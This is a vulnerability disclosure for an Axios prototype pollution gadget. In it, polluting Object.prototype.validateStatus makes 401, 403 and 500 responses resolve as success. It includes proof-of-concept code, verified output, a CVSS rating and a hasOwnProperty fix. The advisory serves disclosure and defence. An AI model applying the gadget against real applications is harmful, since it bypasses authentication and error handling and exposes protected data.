CVE-2026-42041: Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy

# Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy ## Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js` ## CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-287:** Improper Authentication ## CVSS 3.1 **Score: 8.2 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack Complexity | Low | Once PP exists, a single property assignment exploits this. Consistent with GHSA-fvcv-3m26-pcqx | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact within the application | | Confidentiality | Low | 401 treated as success may expose data behind auth gates | | Integrity | High | All error handling and auth checks are silently bypassed — application operates on invalid assumptions | | Availability | None | The function works correctly (returns true), no crash | ## Usage of "Helper" Vulnerabilities This vulnerability requires **Zero Direct User Input**. If an attacker can pollute `Object.prototype` via any other library in the stack, Axios will automatically inherit the polluted `validateStatus` function during config merge. The `in` operator in `mergeDirectKeys` makes this property **uniquely susceptible** to prototype pollution compared to all other config properties. ## Why `validateStatus` Is Uniquely Vulnerable All other config properties use `defaultToConfig2`, which reads `config2[prop]` (traverses prototype). But `validateStatus` uses `mergeDirectKeys`, which uses the `in` operator: ```javascript // mergeConfig.js:58-64 — mergeDirectKeys (ONLY used by validateStatus) function mergeDirectKeys(a, b, prop) { if (prop in config2) { // ← `in` traverses prototype chain! return getMergedValue(a, b); } else if (prop in config1) { return getMergedValue(undefined, a); } } // mergeConfig.js:94 const mergeMap = { // ... all others use defaultToConfig2 ... validateStatus: mergeDirectKeys, // ← ONLY property using this strategy }; ``` The `in` operator is a **more aggressive** prototype traversal than property access. While `config2['validateStatus']` also traverses the prototype, the explicit `in` check makes the intent clearer and the vulnerability more direct. ## Proof of Concept ### 1. The Setup (Simulated Pollution) ```javascript Object.prototype.validateStatus = () => true; ``` ### 2. The Gadget Trigger (Safe Code) ```javascript // Application checks authentication via HTTP status codes try { const response = await axios.get('https://api.internal/admin/users'); // Developer expects: 401 → catch block → redirect to login // Reality: 401 → treated as success → displays admin data processAdminData(response.data); // Executes with 401 response body! } catch (error) { redirectToLogin(); // NEVER REACHED for 401/403/500 } ``` ### 3. The Execution ```javascript // mergeConfig.js:58 — 'validateStatus' in config2 // config2 = { url: '/admin/users', method: 'get' } // 'validateStatus' in config2 → checks prototype → finds () => true → TRUE // → getMergedValue(defaultValidator, () => true) → returns () => true // settle.js:16 — ALL status codes resolve const validateStatus = response.config.validateStatus; // () => true if (!response.status || !validateStatus || validateStatus(response.status)) { resolve(response); // 401, 403, 500 all resolve here! } ``` ### 4. The Impact ``` Before pollution: HTTP 200 → resolve (success) HTTP 401 → reject (auth error) → redirectToLogin() HTTP 403 → reject (forbidden) → showAccessDenied() HTTP 500 → reject (server error) → showErrorPage() After pollution: HTTP 200 → resolve (success) HTTP 401 → resolve (SUCCESS!) → processAdminData() with error body HTTP 403 → resolve (SUCCESS!) → application thinks user has access HTTP 500 → resolve (SUCCESS!) → application processes error as data ``` ## Verified PoC Output ``` --- Before Pollution --- 401: REJECTED as expected - Request failed with status code 401 500: REJECTED as expected - Request failed with status code 500 --- After Pollution --- 200: RESOLVED as success (status: 200) 301: RESOLVED as success (status: 301) 401: RESOLVED as success (status: 401) 403: RESOLVED as success (status: 403) 404: RESOLVED as success (status: 404) 500: RESOLVED as success (status: 500) 503: RESOLVED as success (status: 503) --- Authentication Bypass Demo --- Auth check bypassed! 401 treated as success. Application proceeds with: { status: 401, message: 'Response with status 401' } ``` ## Impact Analysis - **Authentication Bypass:** Applications relying on axios rejecting 401/403 to enforce auth will silently accept unauthorized responses, allowing unauthenticated access to protected resources. - **Silent Error Swallowing:** 500-series errors are treated as success, causing applications to process error bodies as valid data — leading to data corruption or logic errors. - **Security Control Bypass:** Rate limiting (429), WAF blocks (403), and CAPTCHA challenges are suppressed. - **Universal Scope:** Affects every axios instance in the application, including third-party libraries. ## Recommended Fix Replace the `in` operator with `hasOwnProperty` in `mergeDirectKeys`: ```javascript // FIXED: lib/core/mergeConfig.js function mergeDirectKeys(a, b, prop) { if (Object.prototype.hasOwnProperty.call(config2, prop)) { return getMergedValue(a, b); } else if (Object.prototype.hasOwnProperty.call(config1, prop)) { return getMergedValue(undefined, a); } } ``` ## Resources - [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html) - [CWE-287: Improper Authentication](https://cwe.mitre.org/data/definitions/287.html) - [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios](https://github.com/advisories/GHSA-fvcv-3m26-pcqx) - [MDN: `in` operator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/in) - [Axios GitHub Repository](https://github.com/axios/axios) ## Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-15 | PoC developed and vulnerability confirmed | | 2026-04-16 | Report revised for accuracy | | TBD | Report submitted to vendor via GitHub Security Advisory |